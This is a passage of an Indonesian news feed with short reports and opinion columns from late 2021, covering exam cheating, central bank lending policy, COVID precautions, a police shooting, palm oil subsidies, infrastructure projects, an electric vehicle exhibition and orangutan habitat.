menggelar rapat panitia seleksi nasional khusus yang diikuti perwakilan dari BKN, Kemenpan RB, Badan Siber dan Sandi Negara (BSSN) dan Badan Pengawasan Keuangan dan Pembangunan (BPKP) pada 22 Oktober. Panselnas dalam rapat tersebut sepakat untuk mendiskualifikasi 225 peserta yang curang. “Perlu dilakukan diskualifikasi terhadap 225 peserta yang diduga melakukan kecurangan, Diskualifikasi ini perlu segera disampaikan kepada masing-masing instansi,” demikian isi laporan yang dibagikan Tjahjo Kumolo, Rabu. (mth)

Gubernur BI Buka Peluang Perpanjangan DP Nol Persen Hingga 2023

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo membuka peluang untuk perpanjangan kebijakan uang muka alias down payment (DP) nol persen bagi Kredit Kendaraan Bermotor (KKB) maupun Kredit Pemilikan Rumah (KPR) hingga 2023. "Kemungkinan dapat diperpanjang sampai 2023 sesuai dengan ketentuan untuk memastikan kredit dan pembiayaan dari sektor keuangan kepada dunia usaha terus dapat mendukung pemulihan ekonomi nasional," ungkap Perry dalam Konferensi Pers Komite Stabilitas Sistem Keuangan (KSSK) triwulan III-2021 secara daring di Jakarta, Rabu. Saat ini, ia mengatakan pelonggaran kebijakan DP nol persen untuk KPR maupun KKB tersebut diputuskan berlaku sampai dengan akhir 2022, sesuai dengan Undang-Undang Nomor 2 tahun 2020. Pemberian uang muka nol persen untuk KKB akan berlaku untuk semua jenis kendaraan bermotor baru. Sementara untuk KPR, Perry menuturkan uang muka menjadi paling sedikit nol persen kepada masyarakat bisa diberikan perbankan yang mendapatkan kebijakan pelonggaran rasio loan to value/financing to value (LTV/FTV) menjadi paling tinggi 100 persen. "Kebijakan ini hanya diberikan untuk bank yang memenuhi rasio kredit/pembiayaan macet atau non performing loan/non performing financing (NPL/NPF) tertentu," katanya. Di sisi lain, ia menegaskan kebijakan transparansi suku bunga dasar kredit (SBDK) juga terus diperkuat dengan pendalaman asesmen transmisi SBDK dan suku bunga kredit baru per sektor maupun subsektor ekonomi. Dengan demikian, bank sentral menyambut langkah-langkah perbankan untuk terus menurunkan suku bunga dan mengajak perbankan untuk menurunkan suku bunga, sebagai bagian upaya bersama dalam pemulihan ekonomi nasional. (mth)

Panglima TNI: Waspadai Lonjakan Covid-19 Akibat Lonjakan Kegiatan Masyarakat

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto memerintahkan seluruh jajaran TNI untuk mewaspadai potensi lonjakan kasus COVID-19 akibat meningkatnya mobilitas masyarakat, pelaksanaan pembelajaran tatap muka, libur Natal, dan Tahun Baru 2022. Panglima TNI mengatakan hal itu saat memimpin rapat internal secara daring terkait penanganan pandemi bersama para kepala staf angkatan, pejabat utama Mabes TNI, mabes angkatan, para pangkotama, dan komandan satuan, Selasa. Hal itu sejalan dengan arahan Presiden Joko Widodo dalam rapat terbatas sehari sebelumnya. Atas dasar tersebut, Panglima TNI meminta seluruh jajaran TNI untuk terus mengawal kedisiplinan masyarakat dalam melaksanakan protokol kesehatan. "Disiplin protokol kesehatan merupakan senjata utama dalam penanganan pandemi. Terbukti di negara-negara maju yang lengah dalam menerapkan protokol kesehatan yang ketat terjadi lonjakan kasus gelombang ketiga dan keempat," kata Marsekal Hadi dalam siaran persnya. Mantan Kepala Staf Angkatan Udara (Kasau) ini mengatakan vaksinasi menjadi fokus, khususnya di wilayah aglomerasi dan daerah tujuan mudik maupun wisata, wilayah yang akan menjadi tuan rumah event besar, dan provinsi yang capaian vaksinasinya masih kurang. "Waktu yang ada kurang dari dua bulan sebelum Natal dan Tahun Baru 2022 (Nataru) harus dimanfaatkan dengan sebaik-baiknya untuk mengoptimalkan vaksinasi tersebut," ujarnya. Demikian pula vaksinasi kepada para pelajar dan lansia karena hingga kini capaiannya belum sesuai target yang diharapkan, katanya. "Untuk itu, seluruh jajaran TNI diperintahkan berkomunikasi, berkoordinasi, dan berkolaborasi dengan seluruh pihak terkait di daerah untuk menyiapkan perencanaan dan antisipasi yang baik menghadapi Natal dan Tahun Baru 2022," kata Panglima TNI. Mantan Irjen Kementerian Pertahanan ini meminta untuk mengoptimalkan upaya-upaya yang ada agar Indonesia tidak mengalami gelombang ketiga. "Kalau Indonesia tidak dapat menghindari gelombang ketiga tersebut, setidaknya bukan merupakan gelombang tsunami yang dapat menyebabkan lonjakan angka kematian dan tingkat keparahan pasien seperti yang lalu," demikian Marsekal TNI Hadi Tjahjanto. (sws, ant)

Kapolda NTB Ancam Pecat Oknum Anggota Penembak Rekannya Hingga Tewas

Mataram, FNN - Kepala Kepolisian Daerah Nusa Tenggara Barat, Inspektur Jenderal Polisi Mohammad Iqbal, mengeluarkan ancaman pecat terhadap Brigadir Polisi Kepala berinisial MN, oknum anggota yang melakukan penembakan terhadap rekan kerjanya, Brigadir Polisi Satu HT, hingga tewas. "Saya selaku kepala Polda NTB akan memproses sesuai aturan yang berlaku, dengan tegas, dan saya pastikan oknum tersebut di proses pidana dan akan saya pecat sesuai dengan mekanismenya," kata Iqbal, di Mataram, Rabu. Mekanisme dari pelanggaran yang dilakukan MN ini berkaitan dengan sanksi disiplin dan kode etik Polri sesuai Peraturan Pemerintah Nomor 2/2003 tentang Peraturan Disiplin Anggota Polri dan Peraturan Kapolri Nomor 43/2004 tentang Tata Cara Penyelesaian Pelanggaran Disiplin Bagi Anggota Polri. Sanksi pecat dari dinas Kepolisian Negara Republik Indonesia ini diputuskan melalui Sidang Komisi Kode Etik Profesi Polri. Hal tersebut diatur dalam pasal 13 Peraturan Pemerintah Nomor 2/2003 tentang Peraturan Disiplin Polri. Insiden penembakan yang dilakukan MN kepada HT ini terjadi pada Senin (25/10), di salah satu rumah yang beralamatkan di BTN Griya Pesona Madani, Kabupaten Lombok Timur. Berdasarkan hasil olah TKP, korban diduga tewas pada pukul 11.20 Wita, sekitar empat jam setelah salah seorang saksi menemukan jenazahnya tergeletak dengan bersimbah darah. Dari hasil autopsi di RS Bhayangkara Mataram, korban dinyatakan meninggal dunia akibat luka tembak yang bersarang di bagian dada sebelah kanan. Hasil itu dikuatkan dengan temuan di TKP, yakni dua selongsong peluru yang diduga berasal dari senapan serbu perorangan SS-V2 Sabhara. Aksi penembakan terhadap anggota Humas Polres Lombok Timur ini pun terungkap dari pengakuan MN. Terkait dengan motif dari kasus pembunuhan ini diduga karena persoalan asmara. MN cemburu kepada HT yang diduga memiliki hubungan gelap dengan istrinya. (mth)

Kapolri Ingin Polisi Dicintai Rakyat

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo berharap ke depan seluruh anggota polisi dapat dicintai oleh masyarakat Indonesia. "Ke depan saya inginkan polisi dicintai karena Polri melindungi dan mengayomi masyarakat, karena Polri hadir di tengah-tengah masyarakat. Itu yang ingin kami ciptakan," kata Sigit saat meresmikan revitalisasi Museum Polri tahun anggaran 2021 di Kompleks Mabes Polri, Jakarta Selatan, Selasa. Jenderal bintang empat yang dikenal dengan konsep Polri Presisi-nya itu pun mengingatkan seluruh jajarannya akan tantangan tugas di tengah era keterbukaan informasi dan kemajuan teknologi dewasa ini. Menurut dia, perubahan zaman dengan kemajuan perkembangan teknologi dan keterbukaan informasi tentunya akan berdampak pada marwah Polri di mata masyarakat. "Oleh karena itu perlu beradaptasi," kata Sigit dikutip dalam keterangan tertulis Divisi Humas Polri. Sebagai generasi penerus di institusi Polri era ini, lanjut Sigit, seluruh jajaran harus mengukir sejarahnya sendiri. Tentunya, catatan sejarah tersebut harus bersifat prestasi, bekerja secara profesional serta bertugas sesuai dengan apa yang diharapkan oleh masyarakat Indonesia saat ini. "Oleh karena itu, pilihan Polri bagaimana pada saat ini Polri mengukir sejarah. Polri mencatat dalam buku putih sejarah dengan prestasi-prestasi, dengan hal yang baik untuk organisasi Polri, karena ini akan dikenang ke depan oleh generasi penerus kita," ujar Sigit. Mantan Kabareskrim itu meminta kepada seluruh jajaran Polri untuk bersikap bijaksana dan profesional di era keterbukaan informasi ini, mengingat setiap tindakan yang dilakukan oleh seorang polisi akan berdampak pada citra institusi Polri. Sigit pun menekankan semangat perubahan sebagaimana konsep Presisi harus terus diimplementasikan setiap saat. Semangat ini pun, lanjut Sigit, sejalan dengan revitalisasi Museum Polri yang bertujuan mengenang sejarah panjang akan peran penting institusi Korps Bhayangkara di Indonesia dari zaman ke zaman. Mengutip pernyataan bapak pendiri bangsa Indonesia Soekarno soal "Jas Merah" atau jangan sekali-kali meninggalkan sejarah, kata Sigit, Polri juga memiliki peran penting dalam merebut dan mempertahankan kemerdekaan Indonesia dari para penjajah. Menurut Sigit, semangat nilai kepahlawanan tersebut harus dipertahankan dan ditanamkan seluruh personel Polri dewasa ini. "Tentunya itu adalah nilai kepahlawanan yang harus selalu ditanamkan dalam sanubari dan tentu kita tanamkan di hati penerus kita. Hal-hal itu harus kita pelihara. Di sinilah peran museum Polri," kata Sigit. Tak hanya itu, Sigit juga menyampaikan restu atau dukungannya terhadap rencana pembangunan museum di Akademi Kepolisian (Akpol) di Semarang, Jawa Tengah. Menurut dia, tempat tersebut simbol dari lahirnya personel kepolisian yang selalu setia melayani dan mengayomi masyarakat. Dibangunnya museum di Akpol juga diharapkan bisa memberikan edukasi kepada masyarakat akan sejarah panjang dari institusi Korps Bhayangkara di Indonesia. "Tentunya kita mendukung rencana ke depan, dengan mendirikan museum di Akpol, karena di sanalah kita lahir dan dari situlah tentunya kita harus ingat," tutur alumni Akabri 1991 ini. Terkait revitalisasi museum Polri, Sigit mengapresiasi jajarannya karena telah memanfaatkan kemajuan teknologi dengan meluncurkan aplikasi museum virtual 4.0. Platform itu akan membantu mengenalkan sejarah panjang Polri kepada seluruh lapisan masyarakat. Museum Polri dibangun tahun 2009 bertepatan pada Hari Bhayangkara ke-63 dan dibangun pada saat Jenderal (Purn) Bambang Hendarso Danuri menjabat sebagai Kapolri. ( sws, ant)

Ketua DPD: Koreksi Pasal 33 untuk Kembali pada Ekonomi Pancasila

Jakarta, FNN - Ketua DPD, AA LaNyalla Mahmud Mattalitti, menyarankan wacana amandemen kelima UUD 1945 dapat mengoreksi pasal 33 yang merupakan hasil amandemen sebelumnya agar Indonesia kembali kepada sistem ekonomi Pancasila. “UUD negara kita telah mengalami amandemen 4 tahap pada 1999 hingga 2002. Termasuk pasal 33 juga bertambah menjadi lima ayat yang sebelumnya tiga ayat. Dengan penambahan dua ayat hasil amandemen yang lalu itu, sadar atau tidak, cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak telah diserahkan kepada pasar,” kata dia, dalam Rapat Kerja Nasional ke-7 Federasi Serikat Pekerja Sinergi (FSPS) BUMN di Palembang secara virtual, Rabu. Dengan demikian, kata dia, wacana amandemen kelima konstitusi perubahan yang kini sedang bergulir harus menjadi momentum untuk melakukan koreksi atas arah perjalanan bangsa dan sesuai pula dengan cita-cita pendiri bangsa. Perubahan itu tidak hanya berlaku pada sistem tata negara, tetapi juga sistem atau kebijakan perekonomian nasional. LaNyalla menjelaskan para pendiri bangsa melahirkan sistem ekonomi yang dikelola dalam asas kekeluargaan atau sistem ekonomi Pancasila. Asas itu dimunculkan setelah bercermin dari pengalaman ratusan tahun di bawah era kolonialisme sehingga Indonesia sebagai bangsa yang merdeka membutuhkan sistem ekonomi Pancasila. Sistem ekonomi itu, lanjut LaNyalla, dituangkan dalam naskah asli pasal 33 UUD 1945 yang terdiri dari tiga ayat. Intinya, kekayaan sumber daya alam Tanah Air harus dikelola dengan prinsip kekeluargaan dan dipergunakan untuk sebesar-besarnya kemakmuran rakyat. “Oleh karena itu, negara harus hadir untuk memastikan terwujudnya kemakmuran itu. Caranya menurut saya, dengan memisahkan secara jelas antara koperasi atau usaha rakyat, BUMN, dan swasta. Namun, tetap berada di dalam struktur bangunan ekonomi Indonesia,” kata dia. LaNyalla pun menganalogikan ekonomi Indonesia seperti kapal yang dirancang dengan tiga palka atau ruang muat kapal, yaitu koperasi, BUMN dan swasta. Melalui tiga palka itu, seandainya terjadi kebocoran di salah satu palka, tidak akan mengakibatkan penumpang kapal tenggelam. “Bagi rakyat yang tidak punya akses modal dan teknologi, negara wajib hadir memberikan ruang koperasi sebagai alat perjuangan ekonomi rakyat. Mereka diberi hak mengorganisasi dirinya sendiri untuk mendapatkan keadilan ekonomi. Negara juga harus menjamin agar BUMN dan Swasta yang punya modal dan teknologi tidak masuk ke ruang yang dikelola koperasi,” jelas LaNyalla. Gambaran seperti itulah yang disebut dengan ekonomi gotong royong atau ekonomi Pancasila, seperti cita-cita Bapak Koperasi, Mohammad Hatta. Koperasi sesungguhnya dimaknai sebagai cara atau sarana berhimpun rakyat dengan tujuan untuk memiliki secara bersama-sama alat industri atau sarana produksi. “Para anggota koperasi sama persis dengan para pemegang saham di lantai bursa. Bedanya, jika pemegang saham di lantai bursa bisa siapa pun, termasuk orang asing. Maka, koperasi hanya dimiliki oleh warga negara Indonesia,” papar dia. Mengenai BUMN, LaNyalla menegaskan badan itu wajib masuk ke sektor usaha yang berhubungan dengan hajat hidup orang banyak. Contohnya adalah listrik, transportasi, telekomunikasi, dan air bersih. Menurutnya, BUMN harus bertugas di sektor yang membutuhkan teknologi tinggi sekaligus beresiko tinggi. “(BUMN) boleh bermitra dengan swasta atau asing, namun kendali utama tetap berada di BUMN sebab sektor-sektor itu, tidak boleh diserahkan kepada mekanisme pasar melalui swasta apalagi asing,” kata dia. Negara, tambah LaNyalla, juga harus memastikan industri-industri hulu atau industri-industri berat di sektor strategis yang dibangun pada era Orde Lama dan Orde Baru tidak dibiarkan mati hanya karena dinilai sudah tidak efisien dibandingkan industri impor. Sebaliknya, industri tersebut harus direstorasi karena negara yang besar dan tangguh mutlak memiliki industri berat di sektor-sektor strategis untuk mewujudkan kemandirian dan kedaulatan ekonomi. “Memang menutup atau membubarkan BUMN yang sudah tidak efisien lebih mudah ketimbang melakukan restorasi. Tetapi menurut saya, tidak benar jika negara sebesar Indonesia tidak memiliki heavy industries (industri-industri berat) karena semua negara maju dan besar, pasti memiliki industri hulu di sektor-sektor strategis,” katanya. Semua hal itu, kata LaNyalla, sesuai pula dengan pemikiran luhur para pendiri bangsa dalam merancang Indonesia di masa depan agar dapat sampai pada tujuan hakiki lahirnya bangsa ini, yaitu terwujudnya kemakmuran rakyat melalui keadilan sosial bagi seluruh rakyat Indonesia. (mth)

Enaknya Jadi Bandar Sawit Indonesia

Oleh Salamuddin Daeng MEMANG luar biasa keuntungan para bandar sawit. Bisnis dengan berbagai insentif dan fasilitas serta kemudahan berinvestasi serta berbisnis luar biasa dari pemerintah Republik Indonesia. Sawit telah memperoleh konsesi lahan dalam jumlah sangat luas. Lebih dari 13 juta hektar. Luas lahan sawit mencapai 21 kali luas pulau Bali. Telah dialokasikan kepada perusahaan perusahaan swasta para raja sawit, oligarki kelas atas di Republik ini. Bisnis yang mendapatkan subsidi lebih dari Rp. 40 triliun dari uang negara. Bisnis yang telah dicap sebagai biang kerok kerusakan hutan tropis nomor satu di dunia, malah mendapatkan subsidi dari uang negara. Padahal uang tersebut cukup untuk mencicil memulihkan hutan hutan yang telah mereka hancurkan. Tidak hanya subsidi.langsung, para bandar sawit juga mendapatkan subsidi harga yang diperoleh dari pembelian wajib yang ditetapkan dengan regulasi. Pembelian mandatori oleh negara dilakukan dengan memaksakan pencampuran 20% ke 30% hingga penggunaan penuh sebagai bahan bakar pengganti solar. Alasannya bauran energi. Menjadikan sawit sebagai bahan bakar terbaharukan tidak masuk akal dari sisi lingkungan hidup. Tidak sebanding lingkungan yang mereka hancurkan dengan menjadikannya sebagai bahan bakar. Tak hanya itu sawit ini bahan makanan, mengubahnya menjadi bahan bakar di sebuah negeri dimana penduduknya sebagian masih menggoreng dengan minyak jelantah karena kemiskinan mereka. Ini sebuah kejahatan terhadap kemanusiaan. Menjadikan sawit sebagai tumpuan energi terbaharukan adalah politicking untuk menguras kantong Pertamina yang dipaksa membeli fame sawit, dan mendistribusikannya sebagai solar subsidi yang ongkosnya ditalangi terlebih dahulu oleh Pertamina. Tunggakan subsidi solar adalah utang paling besar dari pemerintah pada Pertamina. Entah kapan pemerintah akan bayar. Jadi menjadi bandar sawit di Indonesia adalah nikmat yang besar, dapat hutan dan kayu, dapat lahan, dapat subsidi, dapat pasar yang disubsidi, dapat citra sebagai bahan bakar terbarrukan. Wuenak ya.. Yang paling nikmat adalah pembelian sawit oleh pertamina bagi pemcampuran B30 sebanyak 9 juta ton fame telah membawa solar disel sebagai bahan bakar dengan konsumsi paling besar yakni 30 juta kilo liter, dan 16 juta kilo liter solar subsidi ditanggung dan disalurkan Pertamina yang berakibat kantomg Pertamina jebol. Bandar sawit kehilangan pasar di Eropa, namun segara mendapatkan lahan empuk Pertamina. Mereka para bandar ini mau menjajah Indonesia sampai kapan? *) Peneliti AEPI

Kepala BRIN Buka Pameran Kendaraan Listrik Terbesar IEMS 2021

Jakarta, FNN - Kepala Badan Riset dan Inovasi Nasional (BRIN) Laksana Tri Handoko resmi membuka soft launching pameran terbesar kendaraan listrik Indonesia Electric Motor Show (IEMS) 2021 di Gedung BRIN, Jakarta, Rabu. "IEMS 2019 sukses dilaksanakan dan mampu memberikan awareness dan edukasi kepada publik tentang benefit dari kendaraan listrik sekaligus mempertegas bahwa kita siap masuk ke dalam kendaraan listrik berbasis baterai (KLBB),” ujarnya. IEMS 2021 diprakarsai oleh BRIN melalui Balai Besar Teknologi Konversi Energi (B2TKE) dengan tema "Innovation for Better Future e-Mobility" yang akan digelar di Kawasan Puspitek Serpong, Tangerang Selatan pada 24 – 26 November 2021. Kepala BRIN Laksana Tri Handoko mengatakan bahwa saat ini mulai masuk dan terintegrasinya kendaraan listrik berbasis baterai (battery electric vehicle/BEV) dan industri pendukung sehingga Indonesia, terutama BRIN, harus memanfaatkan momentum saat ini. Laksana Tri Handoko menegaskan bahwa Indonesia tidak hanya cukup dengan memanfaatkan momentum saat ini dengan memiliki industri kendaraan listrik melalui masuknya investasi asing. “Itu (investasi asing) penting, tetapi kita harus menciptakan teknologi kunci yang layak dan bisa diterima oleh industri lokal dengan menciptakan material baru yang berbasis sumber daya kita seperti katoda, anoda, dan lainnya,” katanya dalam keterangan tertulis. Menurutnya, BRIN memiliki kesempatan untuk meriset lebih jauh teknologi kendaraan listrik yang dapat diaplikasikan dalam kehidupan sehari-hari sehingga tidak sekadar membuat kendaraan listrik, tetapi mengubah pola dan budaya dalam bertransportasi dengan kendaraan yang lebih ramah lingkungan. Sementara itu, Kepala Kantor Balai Besar Teknologi Konversi Energi (B2TKE) BRIN Barman Tambunan menuturkan bahwa para stakeholder di ekosistem kendaraan listrik baik principal (produsen), industri komponen, para pakar, dan perguruan tinggi seperti Universitas Gadjah Mada (UGM) dan Institut Teknologi PLN akan berpartisipasi dalam IEMS 2021. “IEMS 2021 ini akan menjadi ajang untuk memperluas jaringan dengan periset KLBB dan para pengambil keputusan. Para expert juga akan saling berbagi ilmu dan pengetahuan melalui seminar dan talkshow. IEMS 2021 menjadai tempat terbaik untuk melihat perkembangan teknologi KLBB,” ujar Barman yang juga Ketua Panitia IEMS 2021. IEMS 2021 merupakan bentuk dukungan BRIN bersama para pemangku kepentingan serta produsen kendaraan listrik dan komponen pendukungnya untuk memacu inovasi dan perkembangan kendaraan listrik di Indonesia. Kegiatan ini juga sebagai wadah transaksi penjualan kendaraan listrik, sekaligus untuk meningkatkan minat masyarakat menggunakan kendaraan listrik di Indonesia. Penjualan kendaraan listrik sendiri di Indonesia pada dua tahun terakhir meningkat cukup pesat. Berdasarkan data jumlah Sertifikat Registrasi Uji Tipe (SRUT) dari Kemenhub, untuk kendaraan listrik roda 4, kenaikan terbesar ada pada tahun 2021 yang mencatat penjualan sampai 4 kali lebih besar sampai Agustus 2021, dibandingkan dengan penjualan sampai akhir tahun kalender 2020. Untuk kendaraan roda 2, kenaikan pada periode yang sama adalah 3 kali lebih besar, dengan penerbitan SRUT sebanyak 7526 (sampai Agustus 2021). Barman menjelaskan kegiatan inovasi dan riset pada kendaraan listrik dapat menjadi pivot penting untuk menyiapkan industri dalam negeri dalam mendukung era kendaraan listrik di Indonesia. Yang tak kalah penting, regulasi serta insentif juga harus disinergikan, komitmen pemerintah telah terlihat dengan adanya target menghentikan penjualan kendaraan konvensional pada 2040 (roda 2), dan 2050 (roda 4). “IEMS 2021 diharapkan seluruh pihak dari regulator, produsen, asosiasi, serta badan riset dan perguruan tinggi dapat menangkap pasar yang sangat potensial ini serta didukung penuh dengan industri dalam negeri, untuk mewujudkan Indonesia Net Zero Emission 2060.” Dikatakan pula, berbeda dengan ajang pameran dan seminar kendaraan listrik IEMS 2019, BRIN beradaptasi dan berinovasi dengan kondisi pandemi Covid-19 dengan memanfaatkan teknologi digital berbasis internet. IEMS 2021 dihelat dengan konsep hybrid exhibition dan hybrid seminar. Kegiatan ini juga diisi dengan talkshow, webinar series serta beberapa kegiatan lain diantaranya test drive kendaraan listrik. Saat acara launching IEMS 2021 dihadiri para pemangku kepentingan seperti Hyundai Motors Indonesia, SGMW Motors Indonesia, Astra Honda Motor (AHM), Mobil Anak Bangsa, Hino Motors, PT Pertamina (Persero), PT Pertamina Patra Niaga, Toyota Astra Motor, Polygon, Mitsubishi, Grab Indonesia, TVS Motor Company Indonesia, IT PLN, PT Powerindo, PT Grokindo, KGC Saintifik, Periklindo, Orbit, International Chemical Industry, PT LEN industri dan peserta lainnya. (mth)

Pesawat dan Kereta yang Rontok

By M Rizal Fadillah BANDARA Soedirman Purbalingga sepi penerbangan. Satu-satunya yang awalnya bertahan hanya maskapai Citylink. Kini rute Jakarta-Purbalingga-Surabaya ini akhirnya stop juga. Banyak pihak mengkhawatirkan Bandara yang baru diresmikan 4 bulan ini bakal sama nasibnya dengan Bandara Kertajati, sepi dan mati. Nampaknya proyek infrastruktur yang selalu didewa-dewakan oleh rezim ini tidak memiliki feasibility study yang baik. Pokoknya cepat selesai demi mengejar prestasi walaupun manipulatif. Prediksi asal-asalan, akibatnya mubazir dan negara merugi. 500 milyar untuk bandara Soedirman digunakan tanpa manfaat. Begitu juga dengan Kereta Cepat Jakarta Bandung yang diduga bakal menjadi proyek mangkrak dan belepotan. Sudah menggunakan dana APBN, tetapi jika nantinya minim penumpang akibatnya ya mati juga. Ekonom memprediksi betapa sulit mengembalikan dana dari proyek KCIC ini. Akhirnya jadilah bandara sebagai museum yang siap menampung pesawat-pesawat rongsokan. Sementara stasiun Kereta Api harus siap juga membuat Museum. Museum Kereta Cepat yang menarik untuk menjadi tontonan anak anak sekolah. Light Tail Transit (LRT) Palembang Sumatera Selatan terus merugi. Menhub berdalih jangan bicara untung rugi karena demi kepentingan umum dan bersubsidi. Padahal saat awal merencanakan, hitungan untung rugi pasti menjadi pertimbangan. Lagi-lagi pertimbangan atau feasibility study yang tidak matang. Baru-baru ini uji coba LRT Jabodebek malah mengalami kecelakaan tabrakan di Cibubur. Ada ada saja. Proyek jalan tol amburadul, main jual secara obralan. Pelabuhan sepi. BUMN bukannya untung malah jadi beban. Sungguh masa Pemerintahan ini adalah masa berdagang dengan merugi. Mengumbar investasi dan memperbanyak hutang luar negeri. Hebatnya di bawah koordinasi Menko investasi yang berperan multi fungsi. Terbang-terbanglah pesawatku di daratan, bergerak cepatlah keretaku di angkasa. Di awang-awang ambisi yang tanpa kalkulasi. Rugi, rugi, dan rugi ! *) Pemerhati Politik dan Kebangsaan

Kejaksaan Agung Kawal Program Pemulihan Ekonomi Nasional

Jakarta, FNN - Kapuspenkum Kejaksaan Agung (Kejagung) Leonard Eben Ezer Simanjuntak menyatakan Kejagung memiliki kontribusi besar dalam upaya pengawalan program Pemulihan Ekonomi Nasional (PEN). Dalam keterangan tertulis di Jakarta, Rabu, Leonard menyatakan peran pengawasan itu dilakukan dalam setiap implementasi kebijakan dan alokasi anggaran. "Jaksa Agung telah memerintahkan segenap jajaran Kejaksaan baik pada level Kejaksaan Agung, Kejaksaan Tinggi dan Kejaksaan Negeri di seluruh penjuru negeri untuk melakukan pendampingan refocusing kegiatan, realokasi anggaran serta mendampingi hal pengadaan barang dan jasa dalam rangka percepatan penanganan COVID-19," kata Leonard menegaskan. Hal itu juga disampaikan Leonard dalam diskusi hybrid bertajuk "Refleksi Dua Tahun Jaksa Agung; Kinerja Pemberantasan Korupsi di Indonesia" yang diselenggarakan lembaga studi anti-korupsi (LSAK). Kepemimpinan Jaksa Agung ST Burhanuddin pun mendapat apresiasi dari Wakil Ketua Umum Partai Gelora Indonesia Fahri Hamzah. Menurut Fahri pencapaian kejaksaan agung tak lepas dari dukungan kerja-kerja kolektif dalam menindak perkara. Fahri menyatakan penegakan hukum di negeri ini harus disinergikan bersama-sama, mengingat masih ada perkara kasus korupsi yang mangkrak tak terselesaikan. Misalnya, penanganan kasus korupsi Hambalang yang belum menemukan penyelesaian. Mantan Wakil Ketua DPR RI ini menegaskan, Kejagung perlu memastikan agar kerja-kerja pemberantasan korupsi harus dilakukan lintas sektoral. Lebih tegas, Fahri pun meminta Kejagung membangun orkestra penanganan korupsi di Indonesia. "Saya berharap Kejagung mengambil inisiatif untuk memimpin konsolidasi sistem terhadap kejaksaan di seluruh Indonesia, kita harus mampu menghadirkan keadilan restorative," kata Fahri menegaskan. Anggota Komisi III DPR RI Arteri Dahlan juga mengapresiasi kinerja Jaksa Agung ST Burhanuddin bersama jajarannya. Politikus PDI Perjuangan ini menyatakan, Jaksa Agung telah melakukan sejumlah langkah dalam penanganan kasus korupsi di tahapan penyidikan dan penuntutan. Bahkan, secara konkrit aset negara sebesar Rp35 triliun berhasil terselamatkan. "Kami mengapresiasi, Jaksa Agung ini tidak hanya bertindak sebagai eksekutor yang baik, tetapi mampu menyelami masalah-masalah hukum di masyarakat," ujar Arteria Dikatakan Arteria, Jaksa Agung pun berani secara tegas menginstruksikan seluruh kejaksaan negeri (kejari) untuk menerapkan restoratif justice. Selain itu, Jaksa Agung dalam periode ini sudah berupaya mencegah perilaku koruptif terjadi di ruang publik. (mth)

Temasek Siapkan Investasi Baru untuk Perusahaan Lokal dan Menengah

Singapura, FNN - Perusahaan investasi milik pemerintah Singapura, Temasek Holdings telah menyiapkan sarana investasi baru yang awalnya menargetkan perusahaan lokal senilai 1 miliar dolar AS hingga 5 miliar dolar AS, ketika Singapura berupaya meningkatkan investasi di perusahaan yang tumbuh cepat. Dengan 4,5 miliar dolar Singapura (6,1 miliar dolar AS) dana yang dikelola, 65 Equity Partners akan melakukan investasi ekuitas di perusahaan mapan dengan aspirasi regional atau global, kedua perusahaan mengatakan dalam pernyataan bersama pada Rabu. “Platform ini juga akan memiliki fleksibilitas untuk menyebarkan dana-dana ke peluang yang mungkin berada di luar area fokus inti Temasek, seperti situasi take-private atau restrukturisasi bisnis keluarga,” kata Lee Theng Kiat, ketua Temasek International, unit manajemen dan investasi yang dimiliki sepenuhnya oleh Temasek Holdings. 65 Equity Partners, platform investasi Temasek Holdings yang dikelola secara independen dan dimiliki sepenuhnya, akan menargetkan ukuran kesepakatan antara 100 juta dolar AS dan 200 juta dolar AS, dan melakukan ekspansi di Asia Tenggara, Eropa, dan Amerika Serikat setelah fase awal. Perusahaan akan berinvestasi di seluruh industri seperti logistik, teknologi, perawatan kesehatan, konsumen, industri dan layanan bisnis. Unit baru saat ini mengelola dana bersama 1 miliar dolar Singapura dengan pemerintah Singapura untuk mengembangkan perusahaan regional, dan dana investasi bersama 1,5 miliar dolar AS dengan pemerintah untuk menyediakan pembiayaan swasta tahap akhir untuk penawaran umum perdana di Bursa Singapura. Di peringkat di antara investor terbesar di dunia, Temasek Holdings adalah perusahaan jangkar Asia dan merupakan investor utama di perusahaan-perusahaan termasuk Singapore Airlines, DBS Group dan Keppel Corp. Temasek Holdings juga memiliki dana-dana yang menawarkan modal ventura untuk memulai dan berinvestasi di usaha kecil dan menengah. (sws, ant)

Habitat Orang Utan di Kalsel Terancam

Hulu Sungai Utara, FNN - Habitat orang utan (Pongo Pygmaeus) di kawasan hutan di Kabupaten Hulu Sungai Utara, Kalimantan Selatan, dikhawatirkan akan terancam akibat peristiwa kebakaran hutan di wilayah tersebut. Kepala Desa Murung Panggang Supian Noor, mengatakan kebakaran hutan di wilayahnya bisa mengganggu habitat orang utan apabila tidak secepatnya dilakukan penanaman kembali. "Dulu kawasan hutan membentang hijau kini menjadi gersang akibat kebakaran lahan," kata Supian, di Amuntai, Selasa. Kebakaran lahan di desanya 2021 memang mulai berkurang, padahal untuk mengantisipasi terjadinya kebakaran, telah dilakukan pengeboran beberapa sumur, namun karena intensitas kebakaran berkurang sehingga keberadaan sumur kurang termanfaatkan. Terkait kebakaran hutan di kawasan habitat orang utan itu, Dinas Kehutanan Provinsi Kalimantan Selatan belum mengetahui secara pasti berapa luas areal yang terbakar dan belum menemukan keberadaan orang utan. "Kita juga belum menemukan secara langsung orang utan, hanya berupa sarangnya saja serta informasi dari warga desa yang pernah melihat dan mendokumentasikan dengan video," kata Kepala Seksi Konservasi SDA dan Ekosistem Dinas Kehutanan Provinsi Kalsel, Supian. Namun, berdasarkan jumlah sarang yang ditemukan selama kegiatan observasi bersama pihak Bapelitbangda dan Dinas Pertanian Hulu Sungai Utara memperkirakan jumlah orang utan di Desa Kayakah dan Murung Panggang sebanyak 15 ekor. Ia berharap ke depan akan membentuk forum kolaborasi untuk pengelolaan kawasan ekosistem esensial di Kabupaten Hulu Sungai Utara. "Alhamdulillah, sudah terbentuk Forum gabungan pelindung, pelestarian dan penjaga orang utan di Desa Kayakah untuk menjaga kelestarian satwa langka," katanya. Ekosistem orang utan di Kabupaten HSU berada di satu hamparan (lanscape) yang sama dengan ekosistem orang utan yang ada di Desa Talan Kecamatan Banua Lawas Kabupaten Tabalong. Habitat orang utan di Hulu Sungai Utara diperkirakan sudah lama, hanya saja belum terekspose. Namun, dugaan lain bahwa hewan ini bermigrasi 